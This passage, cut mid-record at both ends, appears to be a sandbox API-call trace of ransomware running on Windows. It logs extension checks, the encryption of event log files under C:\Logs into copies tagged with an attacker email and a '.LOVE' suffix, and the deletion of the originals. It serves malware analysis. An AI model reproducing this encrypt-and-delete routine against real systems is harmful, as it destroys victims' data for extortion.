dwFileAttributes=0x20) returned 1 [0207.650] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0207.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.651] lstrlenW (lpString=".doc") returned 4 [0207.651] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.651] lstrlenW (lpString=".docx") returned 5 [0207.651] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.651] lstrlenW (lpString=".pdf") returned 4 [0207.651] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.651] lstrlenW (lpString=".xls") returned 4 [0207.651] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.651] lstrlenW (lpString=".xlsx") returned 5 [0207.651] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.651] lstrlenW (lpString=".ppt") returned 4 [0207.651] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.651] lstrlenW (lpString=".zip") returned 4 [0207.651] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.651] lstrlenW (lpString=".rar") returned 4 [0207.651] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.651] lstrlenW (lpString=".bz2") returned 4 [0207.651] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.651] lstrlenW (lpString=".7z") returned 3 [0207.651] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.651] lstrlenW (lpString=".dbf") returned 4 [0207.651] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.651] lstrlenW (lpString=".1cd") returned 4 [0207.651] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.651] lstrlenW (lpString=".jpg") returned 4 [0207.651] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.652] lstrlenW (lpString=".doc") returned 4 [0207.652] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString=".docx") returned 5 [0207.652] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.652] lstrlenW (lpString=".pdf") returned 4 [0207.652] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString=".xls") returned 4 [0207.652] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString=".xlsx") returned 5 [0207.652] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.652] lstrlenW (lpString=".ppt") returned 4 [0207.652] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.652] lstrlenW (lpString=".zip") returned 4 [0207.652] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString=".rar") returned 4 [0207.652] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString=".bz2") returned 4 [0207.652] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString=".7z") returned 3 [0207.652] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.652] lstrlenW (lpString=".dbf") returned 4 [0207.652] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.652] lstrlenW (lpString=".1cd") returned 4 [0207.652] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0207.652] lstrlenW (lpString=".jpg") returned 4 [0207.652] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.653] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.653] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0207.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.653] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.653] CloseHandle (hObject=0x31c) returned 1 [0207.653] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0207.653] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.653] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.653] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.654] GetLastError () returned 0x0 [0207.654] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.716] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.718] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.718] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x164, lpOverlapped=0x0) returned 1 [0207.718] SetEndOfFile (hFile=0x378) returned 1 [0207.718] CloseHandle (hObject=0x378) returned 1 [0207.720] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.720] SetEndOfFile (hFile=0x31c) returned 1 [0207.721] CloseHandle (hObject=0x31c) returned 1 [0207.721] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.721] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0207.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.721] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.721] lstrlenW (lpString=".doc") returned 4 [0207.721] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.721] lstrlenW (lpString=".docx") returned 5 [0207.721] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.722] lstrlenW (lpString=".pdf") returned 4 [0207.722] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString=".xls") returned 4 [0207.722] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString=".xlsx") returned 5 [0207.722] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.722] lstrlenW (lpString=".ppt") returned 4 [0207.722] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.722] lstrlenW (lpString=".zip") returned 4 [0207.722] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString=".rar") returned 4 [0207.722] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString=".bz2") returned 4 [0207.722] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString=".7z") returned 3 [0207.722] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.722] lstrlenW (lpString=".dbf") returned 4 [0207.722] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.722] lstrlenW (lpString=".1cd") returned 4 [0207.722] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.722] lstrlenW (lpString=".jpg") returned 4 [0207.722] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.722] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.722] lstrlenW (lpString=".doc") returned 4 [0207.722] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.722] lstrlenW (lpString=".docx") returned 5 [0207.722] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.723] lstrlenW (lpString=".pdf") returned 4 [0207.723] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.723] lstrlenW (lpString=".xls") returned 4 [0207.723] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.723] lstrlenW (lpString=".xlsx") returned 5 [0207.723] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.723] lstrlenW (lpString=".ppt") returned 4 [0207.723] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.723] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.723] lstrlenW (lpString=".zip") returned 4 [0207.723] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.723] lstrlenW (lpString=".rar") returned 4 [0207.723] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.723] lstrlenW (lpString=".bz2") returned 4 [0207.723] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.723] lstrlenW (lpString=".7z") returned 3 [0207.723] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.723] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.723] lstrlenW (lpString=".dbf") returned 4 [0207.723] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.723] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.723] lstrlenW (lpString=".1cd") returned 4 [0207.723] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.723] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0207.723] lstrlenW (lpString=".jpg") returned 4 [0207.723] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.723] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.723] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56 [0207.723] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.724] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.724] CloseHandle (hObject=0x31c) returned 1 [0207.724] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0207.724] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.724] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.724] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.724] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.724] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.724] GetLastError () returned 0x0 [0207.724] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.742] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.744] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.744] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x144, lpOverlapped=0x0) returned 1 [0207.744] SetEndOfFile (hFile=0x378) returned 1 [0207.744] CloseHandle (hObject=0x378) returned 1 [0207.746] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.746] SetEndOfFile (hFile=0x31c) returned 1 [0207.747] CloseHandle (hObject=0x31c) returned 1 [0207.754] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.754] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0207.754] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.754] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.754] lstrlenW (lpString=".doc") returned 4 [0207.754] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.754] lstrlenW (lpString=".docx") returned 5 [0207.754] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.754] lstrlenW (lpString=".pdf") returned 4 [0207.754] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.754] lstrlenW (lpString=".xls") returned 4 [0207.755] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.755] lstrlenW (lpString=".xlsx") returned 5 [0207.755] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.755] lstrlenW (lpString=".ppt") returned 4 [0207.755] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.755] lstrlenW (lpString=".zip") returned 4 [0207.755] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.755] lstrlenW (lpString=".rar") returned 4 [0207.755] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.755] lstrlenW (lpString=".bz2") returned 4 [0207.755] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.755] lstrlenW (lpString=".7z") returned 3 [0207.755] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.755] lstrlenW (lpString=".dbf") returned 4 [0207.755] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.755] lstrlenW (lpString=".1cd") returned 4 [0207.755] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.755] lstrlenW (lpString=".jpg") returned 4 [0207.755] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.755] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.756] lstrlenW (lpString=".doc") returned 4 [0207.756] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.756] lstrlenW (lpString=".docx") returned 5 [0207.756] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.756] lstrlenW (lpString=".pdf") returned 4 [0207.756] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.756] lstrlenW (lpString=".xls") returned 4 [0207.756] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.756] lstrlenW (lpString=".xlsx") returned 5 [0207.756] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.756] lstrlenW (lpString=".ppt") returned 4 [0207.756] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.756] lstrlenW (lpString=".zip") returned 4 [0207.756] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.756] lstrlenW (lpString=".rar") returned 4 [0207.756] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.756] lstrlenW (lpString=".bz2") returned 4 [0207.756] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.756] lstrlenW (lpString=".7z") returned 3 [0207.756] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.756] lstrlenW (lpString=".dbf") returned 4 [0207.756] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.756] lstrlenW (lpString=".1cd") returned 4 [0207.756] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.756] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64 [0207.756] lstrlenW (lpString=".jpg") returned 4 [0207.756] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.756] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.757] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0207.757] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.757] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.757] CloseHandle (hObject=0x31c) returned 1 [0207.757] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0207.757] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.757] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.757] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.757] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.757] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.758] GetLastError () returned 0x0 [0207.758] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.790] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.792] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.792] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x12c, lpOverlapped=0x0) returned 1 [0207.792] SetEndOfFile (hFile=0x378) returned 1 [0207.792] CloseHandle (hObject=0x378) returned 1 [0207.795] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.795] SetEndOfFile (hFile=0x31c) returned 1 [0207.797] CloseHandle (hObject=0x31c) returned 1 [0207.797] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.797] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0207.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.798] lstrlenW (lpString=".doc") returned 4 [0207.798] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.798] lstrlenW (lpString=".docx") returned 5 [0207.798] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.798] lstrlenW (lpString=".pdf") returned 4 [0207.798] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.798] lstrlenW (lpString=".xls") returned 4 [0207.798] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.798] lstrlenW (lpString=".xlsx") returned 5 [0207.798] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.798] lstrlenW (lpString=".ppt") returned 4 [0207.798] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.798] lstrlenW (lpString=".zip") returned 4 [0207.798] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.798] lstrlenW (lpString=".rar") returned 4 [0207.798] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.798] lstrlenW (lpString=".bz2") returned 4 [0207.798] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.798] lstrlenW (lpString=".7z") returned 3 [0207.798] lstrcmpiW (lpString1=".7z", 